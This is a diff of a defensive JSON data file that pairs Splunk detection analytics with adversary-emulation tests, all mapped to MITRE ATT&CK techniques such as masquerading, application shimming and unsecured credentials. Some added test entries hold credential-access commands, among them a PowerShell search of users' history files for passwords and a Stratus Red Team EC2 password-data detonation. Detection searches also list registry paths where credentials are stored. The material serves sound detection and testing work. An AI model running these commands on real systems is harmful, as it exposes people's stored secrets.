datamodel=Endpoint.Processes where `process_installutil` NOT (Processes.process_path IN (\"*\\\\Windows\\\\ADWS\\\\*\",\"*\\\\Windows\\\\SysWOW64*\", \"*\\\\Windows\\\\system32*\", \"*\\\\Windows\\\\NetworkController\\\\*\", \"*\\\\Windows\\\\SystemApps\\\\*\", \"*\\\\WinSxS\\\\*\", \"*\\\\Windows\\\\Microsoft.NET\\\\*\")) by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.original_file_name Processes.process_id Processes.parent_process_id Processes.process_hash | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_installutil_in_non_standard_path_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Living Off The Land", - "Masquerading - Rename System Utilities", - "Ransomware", - "Signed Binary Proxy Execution InstallUtil", - "Unusual Processes", - "WhisperGate" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ from a non-standard path was identified on endpoint $dest$ by user $user$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1036", - "mitre_attack_technique": "Masquerading", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "BRONZE BUTLER", - "Dragonfly", - "FIN13", - "LazyScripter", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Sandworm Team", - "TA551", - "TeamTNT", - "Windshift", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1036.003", - "mitre_attack_technique": "Rename System Utilities", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT32", - "GALLIUM", - "Lazarus Group", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.004", - "mitre_attack_technique": "InstallUtil", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Mustang Panda", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows Masquerading Msdtc Process", - "description": "The following analytic identifies the execution of msdtc.exe with specific command-line parameters (-a or -b), which are indicative of the PlugX malware. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line arguments. This activity is significant because PlugX uses these parameters to masquerade its malicious operations within legitimate processes, making it harder to detect. If confirmed malicious, this behavior could allow attackers to gain unauthorized access, exfiltrate data, and conduct espionage, severely compromising the affected system.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = \"msdtc.exe\" Processes.process = \"*msdtc.exe*\" Processes.process IN (\"* -a*\", \"* -b*\") by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_masquerading_msdtc_process_filter`", - "tags": { - "analytic_story": [ - "PlugX" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "msdtc.exe process with process commandline used by PlugX malware in $dest$.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1036", - "mitre_attack_technique": "Masquerading", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "BRONZE BUTLER", - "Dragonfly", - "FIN13", - "LazyScripter", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Sandworm Team", - "TA551", - "TeamTNT", - "Windshift", - "ZIRCONIUM", - "menuPass" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -279868,197 +199778,6 @@ "https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams", "https://docs.microsoft.com/en-us/troubleshoot/windows-client/backup-and-storage/fat-hpfs-and-ntfs-file-systems" ] - }, - { - "name": "Registry Keys for Creating SHIM Databases", - "description": "The following analytic detects registry activity related to the creation of application compatibility shims. It leverages data from the Endpoint.Registry data model, specifically monitoring registry paths associated with AppCompatFlags. This activity is significant because attackers can use shims to bypass security controls, achieve persistence, or escalate privileges. If confirmed malicious, this could allow an attacker to maintain long-term access, execute arbitrary code, or manipulate application behavior, posing a severe risk to the integrity and security of the affected systems.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path=*CurrentVersion\\\\AppCompatFlags\\\\Custom* OR Registry.registry_path=*CurrentVersion\\\\AppCompatFlags\\\\InstalledSDB*) BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `registry_keys_for_creating_shim_databases_filter`", - "tags": { - "analytic_story": [ - "Suspicious Windows Registry Activities", - "Windows Persistence Techniques", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A registry activity in $registry_path$ related to shim modication in host $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1546.011", - "mitre_attack_technique": "Application Shimming", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "FIN7" - ] - }, - { - "mitre_attack_id": "T1546", - "mitre_attack_technique": "Event Triggered Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Shim Database File Creation", - "description": "The following analytic detects the creation of shim database files (.sdb) in default directories using the sdbinst.exe application. It leverages filesystem activity data from the Endpoint.Filesystem data model to identify file writes to the Windows\\AppPatch\\Custom directory. This activity is significant because shims can intercept and alter API calls, potentially allowing attackers to bypass security controls or execute malicious code. If confirmed malicious, this could lead to unauthorized code execution, privilege escalation, or persistent access within the environment.", - "search": "| tstats `security_content_summariesonly` count values(Filesystem.action) values(Filesystem.file_hash) as file_hash values(Filesystem.file_path) as file_path min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_path=*Windows\\\\AppPatch\\\\Custom* by Filesystem.file_name Filesystem.dest | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` |`drop_dm_object_name(Filesystem)` | `shim_database_file_creation_filter`", - "tags": { - "analytic_story": [ - "Windows Persistence Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "file_path", - "type": "File", - "role": [ - "Other" - ] - } - ], - "message": "A process that possibly write shim database in $file_path$ in host $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1546.011", - "mitre_attack_technique": "Application Shimming", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "FIN7" - ] - }, - { - "mitre_attack_id": "T1546", - "mitre_attack_technique": "Event Triggered Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Shim Database Installation With Suspicious Parameters", - "description": "The following analytic detects the execution of sdbinst.exe with parameters indicative of silently creating a shim database. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names, parent processes, and command-line arguments. This activity is significant because shim databases can be used to intercept and manipulate API calls, potentially allowing attackers to bypass security controls or achieve persistence. If confirmed malicious, this could enable unauthorized code execution, privilege escalation, or persistent access to the compromised system.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = sdbinst.exe by Processes.process_name Processes.parent_process_name Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `shim_database_installation_with_suspicious_parameters_filter`", - "tags": { - "analytic_story": [ - "Windows Persistence Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A process $process_name$ that possible create a shim db silently in host $dest$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1546.011", - "mitre_attack_technique": "Application Shimming", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "FIN7" - ] - }, - { - "mitre_attack_id": "T1546", - "mitre_attack_technique": "Event Triggered Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -280190,7 +199909,8 @@ } ], "command_list": [ - "export AWS_REGION=us-west-2 \ncd /T1552/src\necho \"starting warmup\"\n./stratus warmup aws.credential-access.ec2-get-password-data\necho \"starting detonate\"\n./stratus detonate aws.credential-access.ec2-get-password-data --force\n" + "export AWS_REGION=us-west-2 \ncd /T1552/src\necho \"starting warmup\"\n./stratus warmup aws.credential-access.ec2-get-password-data\necho \"starting detonate\"\n./stratus detonate aws.credential-access.ec2-get-password-data --force\n", + "ls -R C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt | Select-String \"password\", \"-p\", \"key\", \"pwd\", \"pass\"\n" ], "commands": [], "queries": [], @@ -280242,6 +199962,19 @@ "name": "sh", "elevation_required": false } + }, + { + "name": "Search for Passwords in Powershell History", + "auto_generated_guid": "f9c3d0ab-479b-4019-945f-22ace2b1731a", + "description": "Find passwords in the powershell history files\nSearching for following strings: \"password\", \"-p\", \"key\", \"pwd\", \"pass\"\n", + "supported_platforms": [ + "windows" + ], + "executor": { + "command": "ls -R C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt | Select-String \"password\", \"-p\", \"key\", \"pwd\", \"pass\"\n", + "name": "powershell", + "elevation_required": true + } } ] } @@ -281133,891 +200866,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry" ] - }, - { - "name": "Detect AWS Console Login by New User", - "description": "The following analytic detects AWS console login events by new users. It leverages AWS CloudTrail events and compares them against a lookup file of previously seen users based on ARN values. This detection is significant because a new user logging into the AWS console could indicate the creation of new accounts or potential unauthorized access. If confirmed malicious, this activity could lead to unauthorized access to AWS resources, data exfiltration, or further exploitation within the cloud environment.", - "search": "| tstats earliest(_time) as firstTime latest(_time) as lastTime from datamodel=Authentication where Authentication.signature=ConsoleLogin by Authentication.user | `drop_dm_object_name(Authentication)` | join user type=outer [ | inputlookup previously_seen_users_console_logins | stats min(firstTime) as earliestseen by user] | eval userStatus=if(earliestseen >= relative_time(now(), \"-24h@h\") OR isnull(earliestseen), \"First Time Logging into AWS Console\", \"Previously Seen User\") | where userStatus=\"First Time Logging into AWS Console\" | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_aws_console_login_by_new_user_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover", - "Suspicious Cloud Authentication Activities" - ], - "asset_type": "AWS Instance", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ is logging into the AWS console for the first time", - "risk_score": 30, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1552", - "mitre_attack_technique": "Unsecured Credentials", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Add DefaultUser And Password In Registry", - "description": "The following analytic detects suspicious registry modifications that implement auto admin logon by adding DefaultUserName and DefaultPassword values. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to the \"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" registry path. This activity is significant because it is associated with BlackMatter ransomware, which uses this technique to automatically log on to compromised hosts and continue encryption after a safe mode boot. If confirmed malicious, this could allow attackers to maintain persistence and further encrypt the network, leading to significant data loss and operational disruption.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon*\" AND Registry.registry_value_name= DefaultPassword OR Registry.registry_value_name= DefaultUserName) BY _time span=1h Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.dest Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `add_defaultuser_and_password_in_registry_filter`", - "tags": { - "analytic_story": [ - "BlackMatter Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "modified registry key $registry_key_name$ with registry value $registry_value_name$ to prepare autoadminlogon", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1552.002", - "mitre_attack_technique": "Credentials in Registry", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT32" - ] - }, - { - "mitre_attack_id": "T1552", - "mitre_attack_technique": "Unsecured Credentials", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Auto Admin Logon Registry Entry", - "description": "The following analytic detects a suspicious registry modification that enables auto admin logon on a host. It leverages data from the Endpoint.Registry data model, specifically looking for changes to the \"AutoAdminLogon\" value within the \"SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\" registry path. This activity is significant because it was observed in BlackMatter ransomware attacks to maintain access after a safe mode reboot, facilitating further encryption. If confirmed malicious, this could allow attackers to automatically log in and continue their operations, potentially leading to widespread network encryption and data loss.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon*\" AND Registry.registry_value_name=AutoAdminLogon AND Registry.registry_value_data=1) BY _time span=1h Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid Registry.dest | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `auto_admin_logon_registry_entry_filter`", - "tags": { - "analytic_story": [ - "BlackMatter Ransomware", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "modified registry key $registry_key_name$ with registry value $registry_value_name$ to prepare autoadminlogon", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1552.002", - "mitre_attack_technique": "Credentials in Registry", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT32" - ] - }, - { - "mitre_attack_id": "T1552", - "mitre_attack_technique": "Unsecured Credentials", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Credentials in Registry Reg Query", - "description": "The following analytic identifies processes querying the registry for potential passwords or credentials. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions that access specific registry paths known to store sensitive information. This activity is significant as it may indicate credential theft attempts, often used by adversaries or post-exploitation tools like winPEAS. If confirmed malicious, this behavior could lead to privilege escalation, persistence, or lateral movement within the network, posing a severe security risk.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_reg` AND Processes.process = \"* query *\" AND Processes.process IN (\"*\\\\Software\\\\ORL\\\\WinVNC3\\\\Password*\", \"*\\\\SOFTWARE\\\\RealVNC\\\\WinVNC4 /v password*\", \"*\\\\CurrentControlSet\\\\Services\\\\SNMP*\", \"*\\\\Software\\\\TightVNC\\\\Server*\", \"*\\\\Software\\\\SimonTatham\\\\PuTTY\\\\Sessions*\", \"*\\\\Software\\\\OpenSSH\\\\Agent\\\\Keys*\", \"*password*\") by Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.process_guid Processes.parent_process_name Processes.parent_process Processes.parent_process_guid Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_credentials_in_registry_reg_query_filter`", - "tags": { - "analytic_story": [ - "Prestige Ransomware", - "Windows Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "reg query commandline $process$ in $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1552.002", - "mitre_attack_technique": "Credentials in Registry", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT32" - ] - }, - { - "mitre_attack_id": "T1552", - "mitre_attack_technique": "Unsecured Credentials", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Export Certificate", - "description": "The following analytic detects the export of a certificate from the Windows Certificate Store. It leverages the Certificates Lifecycle log channel, specifically event ID 1007, to identify this activity. Monitoring certificate exports is crucial as certificates can be used for authentication to VPNs or private resources. If malicious actors export certificates, they could potentially gain unauthorized access to sensitive systems or data, leading to significant security breaches.", - "search": "`certificateservices_lifecycle` EventCode=1007 | xmlkv UserData_Xml | stats count min(_time) as firstTime max(_time) as lastTime by Computer, SubjectName, UserData_Xml | rename Computer as dest | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `windows_export_certificate_filter`", - "tags": { - "analytic_story": [ - "Windows Certificate Services" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An certificate was exported on $dest$ from the Windows Certificate Store.", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1552.004", - "mitre_attack_technique": "Private Keys", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Rocke", - "Scattered Spider", - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1552", - "mitre_attack_technique": "Unsecured Credentials", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1649", - "mitre_attack_technique": "Steal or Forge Authentication Certificates", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] - } - }, - { - "name": "Windows Findstr GPP Discovery", - "description": "The following analytic detects the use of the findstr command to search for unsecured credentials in Group Policy Preferences (GPP). It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions involving findstr.exe with references to SYSVOL and cpassword. This activity is significant because it indicates an attempt to locate and potentially decrypt embedded credentials in GPP, which could lead to unauthorized access. If confirmed malicious, this could allow an attacker to escalate privileges or gain access to sensitive systems and data within the domain.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=findstr.exe AND Processes.process=*sysvol* AND Processes.process=*cpassword*) by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.original_file_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_findstr_gpp_discovery_filter`", - "tags": { - "analytic_story": [ - "Active Directory Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Findstr was executed to discover GPP credentials on $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1552", - "mitre_attack_technique": "Unsecured Credentials", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1552.006", - "mitre_attack_technique": "Group Policy Preferences", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT33", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Post Exploitation Risk Behavior", - "description": "The following analytic identifies four or more distinct post-exploitation behaviors on a Windows system. It leverages data from the Risk data model in Splunk Enterprise Security, focusing on multiple risk events and their associated MITRE ATT&CK tactics and techniques. This activity is significant as it indicates potential malicious actions following an initial compromise, such as persistence, privilege escalation, or data exfiltration. If confirmed malicious, this behavior could allow attackers to maintain control, escalate privileges, and further exploit the compromised environment, leading to significant security breaches and data loss.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime sum(All_Risk.calculated_risk_score) as risk_score, count(All_Risk.calculated_risk_score) as risk_event_count, values(All_Risk.annotations.mitre_attack.mitre_tactic_id) as annotations.mitre_attack.mitre_tactic_id, dc(All_Risk.annotations.mitre_attack.mitre_tactic_id) as mitre_tactic_id_count, values(All_Risk.annotations.mitre_attack.mitre_technique_id) as annotations.mitre_attack.mitre_technique_id, dc(All_Risk.annotations.mitre_attack.mitre_technique_id) as mitre_technique_id_count, values(All_Risk.tag) as tag, values(source) as source, dc(source) as source_count from datamodel=Risk.All_Risk where All_Risk.analyticstories IN (\"*Windows Post-Exploitation*\") by All_Risk.risk_object All_Risk.risk_object_type All_Risk.annotations.mitre_attack.mitre_tactic | `drop_dm_object_name(All_Risk)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where source_count >= 4 | `windows_post_exploitation_risk_behavior_filter`", - "tags": { - "analytic_story": [ - "Windows Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "risk_object", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An increase of Windows Post Exploitation behavior has been detected on $risk_object$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1012", - "mitre_attack_technique": "Query Registry", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT32", - "APT39", - "APT41", - "Chimera", - "Dragonfly", - "Fox Kitten", - "Kimsuky", - "Lazarus Group", - "OilRig", - "Stealth Falcon", - "Threat Group-3390", - "Turla", - "Volt Typhoon", - "ZIRCONIUM" - ] - }, - { - "mitre_attack_id": "T1049", - "mitre_attack_technique": "System Network Connections Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT38", - "APT41", - "APT5", - "Andariel", - "BackdoorDiplomacy", - "Chimera", - "Earth Lusca", - "FIN13", - "GALLIUM", - "HEXANE", - "Ke3chang", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "TeamTNT", - "Threat Group-3390", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - }, - { - "mitre_attack_id": "T1016", - "mitre_attack_technique": "System Network Configuration Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT19", - "APT3", - "APT32", - "APT41", - "Chimera", - "Darkhotel", - "Dragonfly", - "Earth Lusca", - "FIN13", - "GALLIUM", - "HAFNIUM", - "HEXANE", - "Higaisa", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "SideCopy", - "Sidewinder", - "Stealth Falcon", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "ZIRCONIUM", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - }, - { - "mitre_attack_id": "T1082", - "mitre_attack_technique": "System Information Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT18", - "APT19", - "APT3", - "APT32", - "APT37", - "APT38", - "APT41", - "Aquatic Panda", - "Blue Mockingbird", - "Chimera", - "Confucius", - "Darkhotel", - "FIN13", - "FIN8", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Inception", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Malteiro", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "OilRig", - "Patchwork", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Sowbug", - "Stealth Falcon", - "TA2541", - "TeamTNT", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Windigo", - "Windshift", - "Wizard Spider", - "ZIRCONIUM", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1115", - "mitre_attack_technique": "Clipboard Data", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT38", - "APT39" - ] - }, - { - "mitre_attack_id": "T1552", - "mitre_attack_technique": "Unsecured Credentials", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows PowerShell Export Certificate", - "description": "The following analytic detects the use of the PowerShell Cmdlet `export-certificate` by leveraging Script Block Logging. This activity is significant as it may indicate an adversary attempting to exfiltrate certificates from the local Certificate Store on a Windows endpoint. Monitoring this behavior is crucial because stolen certificates can be used to impersonate users, decrypt sensitive data, or facilitate further attacks. If confirmed malicious, this activity could lead to unauthorized access to encrypted communications and sensitive information, posing a severe security risk.", - "search": "`powershell` EventCode=4104 ScriptBlockText IN (\"*export-certificate*\") | rename Computer as dest | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText dest user_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_powershell_export_certificate_filter`", - "tags": { - "analytic_story": [ - "Windows Certificate Services" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A PowerShell Cmdlet related to exporting a Certificate was ran on $dest$, attempting to export a certificate.", - "risk_score": 36, - 